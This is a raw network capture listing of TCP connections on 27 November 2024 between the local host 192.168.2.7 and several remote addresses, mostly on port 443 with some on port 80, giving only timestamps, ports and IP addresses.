Nov 27, 2024 17:58:31.882163048 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.882719994 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:31.882735968 CET	443	49745	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:32.231539965 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.243964911 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.253112078 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.274646044 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.280890942 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.280910969 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.281409025 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.281415939 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.283128977 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.283150911 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.283840895 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.283847094 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.284588099 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.284625053 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.285198927 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.285204887 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.386040926 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.392466068 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.392482996 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.392940998 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.392950058 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.442404985 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.487262964 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.647842884 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.647880077 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.648355961 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.648366928 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.652055025 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:32.686753988 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.686835051 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.686975956 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.688271999 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.688349962 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.688421011 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.688627005 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.688687086 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.688755989 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.695333004 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:32.818331003 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.818382025 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.818418026 CET	49735	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.818427086 CET	443	49735	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.840380907 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.840461969 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.842639923 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.867769003 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.867790937 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.867922068 CET	49738	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.867929935 CET	443	49738	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.961635113 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.961685896 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.961704969 CET	49737	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.961713076 CET	443	49737	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.973454952 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.973454952 CET	49736	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:32.973474979 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.973485947 CET	443	49736	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.995973110 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.996046066 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:32.996175051 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.196186066 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.196233034 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.196249008 CET	49739	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.196258068 CET	443	49739	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.276865959 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.276899099 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.276906967 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.276920080 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.276951075 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.277071953 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:33.277105093 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.277158022 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:33.299444914 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.299515009 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:33.299530983 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:33.299576998 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:33.335072041 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.335108995 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.335169077 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.335593939 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.335629940 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.335690975 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.336216927 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.336250067 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.336301088 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.338639975 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.338649035 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.338649988 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.338673115 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.338689089 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.338699102 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.339382887 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.339417934 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.339472055 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.339771032 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.339790106 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.345499039 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.345531940 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.345602036 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.346781969 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:33.346796036 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:33.503868103 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:33.504431963 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:33.570604086 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:33.570651054 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:33.570713997 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:33.572385073 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:33.572396040 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:33.617531061 CET	443	49745	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:33.625520945 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:33.626107931 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:33.626301050 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:33.630680084 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:33.630707026 CET	443	49745	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:33.631268978 CET	443	49745	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:33.631772995 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:33.631844997 CET	443	49745	142.250.181.100	192.168.2.7
Nov 27, 2024 17:58:33.631861925 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:33.675400019 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:33.753240108 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:34.789386988 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:34.789422989 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:34.789443016 CET	49732	443	192.168.2.7	52.149.20.212
Nov 27, 2024 17:58:34.789450884 CET	443	49732	52.149.20.212	192.168.2.7
Nov 27, 2024 17:58:34.878415108 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:34.879123926 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:34.879163027 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:34.881216049 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:34.881222010 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:34.899583101 CET	49758	443	192.168.2.7	172.217.17.78
Nov 27, 2024 17:58:34.899617910 CET	443	49758	172.217.17.78	192.168.2.7
Nov 27, 2024 17:58:34.899801970 CET	49758	443	192.168.2.7	172.217.17.78
Nov 27, 2024 17:58:34.899983883 CET	49758	443	192.168.2.7	172.217.17.78
Nov 27, 2024 17:58:34.900000095 CET	443	49758	172.217.17.78	192.168.2.7
Nov 27, 2024 17:58:35.070314884 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.070394993 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:35.073446035 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:35.073451042 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.073513985 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.073858023 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.074139118 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.074151039 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.074948072 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.074953079 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.113565922 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:35.155330896 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.202055931 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.202055931 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.202707052 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.253428936 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.253458977 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.253458977 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.272794008 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.272814989 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.273304939 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.273309946 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.282412052 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.282423973 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.282881975 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.282886982 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.283205986 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.283210993 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.283744097 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.283747911 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.421696901 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.421761990 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.421816111 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.426547050 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.426570892 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.426631927 CET	49746	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.426639080 CET	443	49746	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.431415081 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.431462049 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.431545973 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.431977987 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.431989908 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.508795977 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:35.509012938 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:35.540385008 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.540465117 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.540754080 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.609201908 CET	49747	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.609227896 CET	443	49747	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.636224985 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.636298895 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.636372089 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.637720108 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.637738943 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.646632910 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:35.651268959 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.651382923 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.651468039 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:35.651925087 CET	49756	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:35.651945114 CET	443	49756	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:35.655842066 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.655920982 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.656405926 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.656544924 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.656613111 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.656835079 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.656864882 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.656867027 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.656883955 CET	49748	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.656893015 CET	443	49748	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.657159090 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.657223940 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.657273054 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.657568932 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.657568932 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.657581091 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.657593966 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.766729116 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:35.809158087 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.809158087 CET	49749	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.809196949 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.809211016 CET	443	49749	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.992487907 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.992542982 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:35.992644072 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.997934103 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:35.997951031 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:36.001359940 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:36.001435041 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:36.001502037 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:36.001643896 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:36.001662016 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:36.001796007 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:36.001816988 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:36.001920938 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:36.002635002 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:36.002649069 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:36.055939913 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 17:58:36.385143995 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:36.385198116 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:36.385288000 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:36.385737896 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:36.385751963 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:36.587213993 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:36.590756893 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:36.799279928 CET	443	49758	172.217.17.78	192.168.2.7
Nov 27, 2024 17:58:36.846694946 CET	49758	443	192.168.2.7	172.217.17.78
Nov 27, 2024 17:58:37.153146982 CET	49758	443	192.168.2.7	172.217.17.78
Nov 27, 2024 17:58:37.153353930 CET	49745	443	192.168.2.7	142.250.181.100
Nov 27, 2024 17:58:37.218430042 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.225817919 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.225841045 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.227524996 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.227531910 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.429713964 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.431162119 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.431195974 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.431987047 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.431993008 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.665528059 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.665613890 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.665759087 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.669733047 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.669749022 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.669770956 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.669775963 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.722172976 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.781564951 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.784055948 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:37.784117937 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:37.804670095 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.804682970 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.806693077 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.806699991 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.828280926 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.828290939 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.828783989 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.828788042 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.830301046 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:37.830317020 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:37.830593109 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:37.834407091 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:37.847311020 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.865279913 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.865303993 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.865783930 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.865788937 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.874080896 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.874151945 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.874200106 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.874594927 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.874605894 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.874617100 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.874620914 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.879326105 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:37.883428097 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.883457899 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.883670092 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.883707047 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.883712053 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.900603056 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.900638103 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:37.900742054 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.911771059 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:37.911789894 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.159081936 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.159172058 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.159216881 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.165122032 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.165149927 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.165164948 CET	49763	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.165172100 CET	443	49763	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.177519083 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.177566051 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.178020000 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.187907934 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.187936068 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.227669954 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.227747917 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.228144884 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.307987928 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.308069944 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.308135986 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.312894106 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:38.312963963 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:38.313018084 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:38.360244989 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.360271931 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.360284090 CET	49761	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.360291004 CET	443	49761	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.483177900 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.483218908 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.483234882 CET	49762	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.483242035 CET	443	49762	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.580723047 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:38.580749035 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:38.580812931 CET	49764	443	192.168.2.7	23.214.206.19
Nov 27, 2024 17:58:38.580820084 CET	443	49764	23.214.206.19	192.168.2.7
Nov 27, 2024 17:58:38.598212957 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.598263979 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.598340034 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.633189917 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.633219957 CET	443	49768	13.107.246.63	192.168.2.7
